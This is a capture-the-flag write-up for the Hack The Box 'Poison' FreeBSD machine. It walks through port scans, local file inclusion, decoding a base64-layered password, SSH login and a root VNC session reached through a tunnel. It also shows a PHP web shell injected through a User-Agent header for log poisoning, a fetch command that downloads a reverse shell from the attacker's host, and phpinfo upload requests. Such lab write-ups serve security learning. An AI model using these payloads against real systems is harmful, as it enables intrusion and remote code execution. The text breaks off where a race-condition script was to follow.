../ HTB boot2root - Poison (Medium)

The Poison machine is a medium freeBSD box.

If you are italian you might want to check out the related video.

#Getting a Foothold

#Port Scanning

Doing basic scans with nmap gives us the following situation

  • basic script + version scan:

    nmap -sC -sV poison
    Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-19 00:32 CET
    Nmap scan report for poison (
    Host is up (0.055s latency).
    Not shown: 998 closed ports
    22/tcp open  ssh     OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0)
    | ssh-hostkey:
    |   2048 e3:3b:7d:3c:8f:4b:8c:f9:cd:7f:d2:3a:ce:2d:ff:bb (RSA)
    |   256 4c:e8:c6:02:bd:fc:83:ff:c9:80:01:54:7d:22:81:72 (ECDSA)
    |_  256 0b:8f:d5:71:85:90:13:85:61:8b:eb:34:13:5f:94:3b (ED25519)
    80/tcp open  http    Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32)
    |_http-server-header: Apache/2.4.29 (FreeBSD) PHP/5.6.32
    |_http-title: Site doesn't have a title (text/html; charset=UTF-8).
    Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 17.21 seconds
  • full scan:

    nmap -p- poison
    Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-19 00:32 CET
    Stats: 0:03:53 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
    Connect Scan Timing: About 68.83% done; ETC: 00:38 (0:01:46 remaining)
    Stats: 0:03:55 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
    Connect Scan Timing: About 69.27% done; ETC: 00:38 (0:01:44 remaining)
    Nmap scan report for poison (
    Host is up (0.055s latency).
    Not shown: 65533 closed ports
    22/tcp open  ssh
    80/tcp open  http
    Nmap done: 1 IP address (1 host up) scanned in 336.94 seconds

As we can see from the scans, a web server seems to be listening on port 80.

#LFI on Web Server

By going to the web server we are met with a form telling us which .php script we want to test

By writing listfiles.php on the form we get the following

It looks like the ouput given by an ls command. Notice also that in the url we see the file=listfiles.php. It thus looks like we have found a Local File Inclusion (LFI) which lets us read the files in the remote machine. To check our hypothesis we simply need to change the argument of the file parameter to a file that is situated outside the web server root directory, such as the /etc/passwd file to get

Since we were able to read the file, it seems we were correct on the LFI. Notice also that charix is a user of the machine. To finish off, let us now read the suspicious pwdpbackup.txt file found from executing the listfiles.php

#Decoding pwdbackup.txt

The encoding used is probably a base64. This is because

  1. The length of the encoded part is a multiple of 4 as we can see from the following command

    expr $(cat pwdbackup.txt | tr -d '\n' | wc -c) / 4291
  2. Every character is in the set of valid characters, which is

    \[\{A,\ldots, Z\} \cup \{a, \ldots,z\} \cup \{0, \ldots, 9\} \cup \{+, /\}\]

    as well as one, two, or three occurences of the \(=\) character at the end for padding reasons.

Since the text says that the passwd was encoded multiple times, to decode it let us write the following script in a file named decode.sh.



for i in $(seq 0 $END); do
    (cat $FILE$i | base64 -d) > $FILE$((i+1))

The variable END is used to specify how many items the decoding should take place. The script simply starts by taking file pwdbackup.txt.0, decoding it using the command base64 -d and writing the resulting content in a new file named pwdbackup.txt.1. This process is repeated until i reaches the value END. At the end of the process the file of interest is pwdbackup.txt.13, which is the file obtained by decoding 13 times the original file.

  cp pwdbackup.txt pwdbackup.txt.0 ./decode.sh ls -lha 
totale 72K
drwxr-xr-x 2 leo leo 4,0K 19 dic 01.10 .
drwxr-xr-x 3 leo leo 4,0K 19 dic 00.32 ..
-rwxr-xr-x 1 leo leo  127 19 dic 01.10 decode.sh
-rw-r--r-- 1 leo leo 1,2K 19 dic 01.06 pwdbackup.txt
-rw-r--r-- 1 leo leo 1,2K 19 dic 01.10 pwdbackup.txt.0
-rw-r--r-- 1 leo leo  872 19 dic 01.10 pwdbackup.txt.1
-rw-r--r-- 1 leo leo   53 19 dic 01.10 pwdbackup.txt.10
-rw-r--r-- 1 leo leo   37 19 dic 01.10 pwdbackup.txt.11
-rw-r--r-- 1 leo leo   25 19 dic 01.10 pwdbackup.txt.12
-rw-r--r-- 1 leo leo   16 19 dic 01.10 pwdbackup.txt.13
-rw-r--r-- 1 leo leo  645 19 dic 01.10 pwdbackup.txt.2
-rw-r--r-- 1 leo leo  475 19 dic 01.10 pwdbackup.txt.3
-rw-r--r-- 1 leo leo  349 19 dic 01.10 pwdbackup.txt.4
-rw-r--r-- 1 leo leo  256 19 dic 01.10 pwdbackup.txt.5
-rw-r--r-- 1 leo leo  187 19 dic 01.10 pwdbackup.txt.6
-rw-r--r-- 1 leo leo  138 19 dic 01.10 pwdbackup.txt.7
-rw-r--r-- 1 leo leo  102 19 dic 01.10 pwdbackup.txt.8
-rw-r--r-- 1 leo leo   73 19 dic 01.10 pwdbackup.txt.9
  cat pwdbackup.txt.13 

From the last file we get the password Charix!2#4%6&8(0.

#Getting inside with ssh

Using the password obtained in the previous step we are able to log inside the machine using ssh as follows

ssh charix@poison

when we are asked for a password we simply need to give the password we have found in the previous step.

#Privilege Escalation

#User flag

Once we are inside getting the user flag is straight forward.

ls -lhatotal 48
drwxr-x---  2 charix  charix   512B Mar 19  2018 .
drwxr-xr-x  3 root    wheel    512B Mar 19  2018 ..
-rw-r-----  1 charix  charix   1.0K Mar 19  2018 .cshrc
-rw-rw----  1 charix  charix     0B Mar 19  2018 .history
-rw-r-----  1 charix  charix   254B Mar 19  2018 .login
-rw-r-----  1 charix  charix   163B Mar 19  2018 .login_conf
-rw-r-----  1 charix  charix   379B Mar 19  2018 .mail_aliases
-rw-r-----  1 charix  charix   336B Mar 19  2018 .mailrc
-rw-r-----  1 charix  charix   802B Mar 19  2018 .profile
-rw-r-----  1 charix  charix   281B Mar 19  2018 .rhosts
-rw-r-----  1 charix  charix   849B Mar 19  2018 .shrc
-rw-r-----  1 root    charix   166B Mar 19  2018 secret.zip
-rw-r-----  1 root    charix    33B Mar 19  2018 user.txt

#Downloading secret.zip

Notice also in the home folder the secret.zip file. By downloading it using nc to our machine and unzipping it using the password we have previously obtained (Charix!2#4%6&8(0) we see the following content

unzip secret.zip Archive:  secret.zip
[secret.zip] secret password: Charix!2#4%6&8(0
extracting: secret

file secret: Non-ISO extended-ASCII text, with no line terminators

hexdump -C secret 00000000  bd a8 5b 7c d5 96 7a 21                           |..[|..z!|

#Checking Processes and Ports

Continuing on the remote machine, by checking the processes with ps aux we see the following

  ps aux...
root    614   0.0  0.9  23620  8868 v0- I    00:33    0:00.02 Xvnc :1 -desktop X -httpd /usr/local/share/tightvnc/classes -auth /root/.Xauthority -geometry 1280x800 -depth 24 -rfbwait 120000 -rfbauth /root/.vnc

As we can see, the xvnc program is running as root. By running the sockstat program we are able to see that xvnc is listening on the following two ports

root     Xvnc       614   0  stream /tmp/.X11-unix/X1
root     Xvnc       614   1  tcp4        *:*
root     Xvnc       614   3  tcp4        *:*
root     Xvnc       614   4  stream /tmp/.X11-unix/X1
root     Xvnc       614   5  stream /tmp/.X11-unix/X1

#Setting up the ssh tunnel

Since the port is only listening to the local interface (, to connect to it from our machine we have to set up an ssh tunnel, which lets us connect a port from our local interface to the local interface of the remote machine. This can be done with the following command

ssh charix@poison -L 1337:localhost:5901

#Root flag

Once we have set that up we can simply use the vncviewer program for our local machine and connect to our local port localhost:1337. The ssh tunnel will do the rest and will connect us to the process listening on the remote server.

vncviewer -passwd secret localhost:1337

Notice the file secret was the file we had obtaiend by unzipping the secret.zip file found on the remote machine. Once we execute this command we spawn a graphical shell as root and we are able to read the root flag.

{{< figure position="center" src="/img/writeup/htb-boot2root-poison/root_shell.png" caption="root shell on Poison" >}}


Let us now discuss two more ways that we can use to get inside the machine.

#Log Poisoning

The idea is to poison the access logs situated at /var/log/httpd-access.log and access them with the LFI in order to get a RCE. To do this we can use the following HTTP request

GET /browse.php?file=/var/log/httpd-access.log HTTP/1.1
Host: poison
Upgrade-Insecure-Requests: 1
User-Agent: <?php system($_REQUEST['cmd']); ?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

Then by accessing the log using the LFI are able to execute our own commands using the cmd parameter

Finally, to spawn a reverse shell we can do the following

  1. Use python on our local machine to set up a web server

       python3 -m http.server 1337
  2. Use the fetch command on the remote machine through the poisoned log seen before to upload to the remote machine a reverse shell written in php in /tmp/shell.php

       # fetch command
       fetch -o /tmp/shell.php http://<our_ip>:<our_port>/revshell.phpw
       # fetch command URL encoded
       # final request
  3. Start listeing on the port encoded in the rev shell and visit the following URL


#phpinfo() + LFI = RCE

Another way to spawn a shell is to use a known vulnerability of php, documented by Insomnia, which can be exploited when the following requirements are satisfied:

  • The file_uploads variable is true.

  • We can acess the phpinfo() page.

  • We have a LFI on the web server.

Since in our case all these requirements are satisfied we can go and exploit this vulnerability.

The main idea behind this attack is that if we upload a file with the following POST request to the phpinfo() page

POST /phpinfo.php HTTP/1.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.92 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=--Boundary
Content-Length: 139

Content-Disposition: form-data; name="dummyname"; filename="test.php"
Content-Type: text/plain

<?php echo "hello World!";?>

then by using the output of the phpinfo() page we are able to see the temporary path in which the uploaded file was temporarily copied.

by going to that path with our LFI then we are able to spawn a shell.

The only problem with this approach is that the temporary file is destroyed as soon as the request is handled by the php engine. This means that in order to request the file before it gets destroyed we need to create a race condition, which can be done with by using the following python script.